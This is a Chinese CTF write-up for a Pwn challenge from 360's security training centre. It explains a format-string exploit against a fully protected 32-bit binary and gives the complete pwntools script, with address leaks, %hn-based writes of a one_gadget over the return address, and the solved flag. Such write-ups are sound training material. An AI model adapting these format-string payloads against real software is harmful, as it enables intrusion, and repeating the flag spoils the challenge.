大数跨境
0
0

赛题分析9:I believe you can solve it.

赛题分析9:I believe you can solve it. 360安全人才能力发展中心
2019-10-29
1
导读:3CTF赛题分析题目类型:Pwn

赛题分析9: 

I believe you can solve it.


题目类型:Pwn
解题思路:
看标题知道与格式化字符串漏洞有关系,checksec一下32位程序,保护全开


难点在于:
1.  限制了输入次数为3次,每次长度为16字节
2.  格式化字符串在.bss段上
攻击思路主要是先突破输入次数限制,再寻找合适的跳板覆盖返回地址为one_gadget


Exp:
from pwn import *
context.log_level   = 'debug'
p = process('./fmt')


gadgets =
[0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]


def HL(value):
    lis = []
    high = value >> 16
    low = value & 0xffff
    lis.append(low)
    lis.append(high)
    return lis


def input(payload):
    p.recvuntil("2. Exit")
    p.send('1')
    p.recvuntil("something")
    p.sendline(payload)


def exit():
    p.recvuntil("2. Exit")
    p.send('2')


## leak address
input("%5$p%12$p%15$p")
p.recvline()
leaked = p.recvline()
bin_base = int(leaked[2:10], 16) - 0x1fb8
stack_addr = int(leaked[12:20], 16)
var_addr = stack_addr - 0x2C + 0x3
target_addr = stack_addr - 0x4
libc_base = int(leaked[22:30],16) - 247 - 0x18540
shell_addr = libc_base + gadgets[1]
bp = bin_base + 0x81c
#gdb.attach(p,'b *' + str(hex(bp)))
log.info("binary_base address is %x" % bin_base)
log.info("stack address is %x" % stack_addr)
log.info("libc_base address is %x" % libc_base)
log.info("var address is %x" % var_addr)
log.info("target address is %x" % target_addr)


## Modify var i values
lis = HL(var_addr)
input("%" + str(lis[0])  + "c%21$hn")
input("%255d%57$hhn")


## Write one_gadget at ret_addr through the target_addr
lis = HL(target_addr)
input("%" + str(lis[0])  + "c%21$hn")
lis = HL(target_addr+2)
input("%" + str(lis[0])  + "d%22$hn")


lis = HL(shell_addr)
input("%" + str(lis[0])  + "c%57$hn")
input("%" + str(lis[1])  + "c%59$hn")


exit()
p.interactive()


答案:flag{79714683-d625efc2-c0c65bc2-5b5346f6}

360网络安全大学

如果你想展示你的CTF能力,我们提供给你机会

平台近期开始向社会征集CTF题目,题目类型不限制

奖励丰厚,有想法的大佬可以联系

university@360.cn


【声明】内容源于网络
0
0
360安全人才能力发展中心
360政企安全集团旗下面向教育服务领域的唯一官方机构,致力于通过对人才能力的研究、教育平台的打造、教学内容的开发、教育服务生态的建设,为各机构和组织提供网络安全组织能力咨询、人才能力培养、专业能力认证、人才能力评估等服务。
内容 395
粉丝 0
360安全人才能力发展中心 360政企安全集团旗下面向教育服务领域的唯一官方机构,致力于通过对人才能力的研究、教育平台的打造、教学内容的开发、教育服务生态的建设,为各机构和组织提供网络安全组织能力咨询、人才能力培养、专业能力认证、人才能力评估等服务。
总阅读779
粉丝0
内容395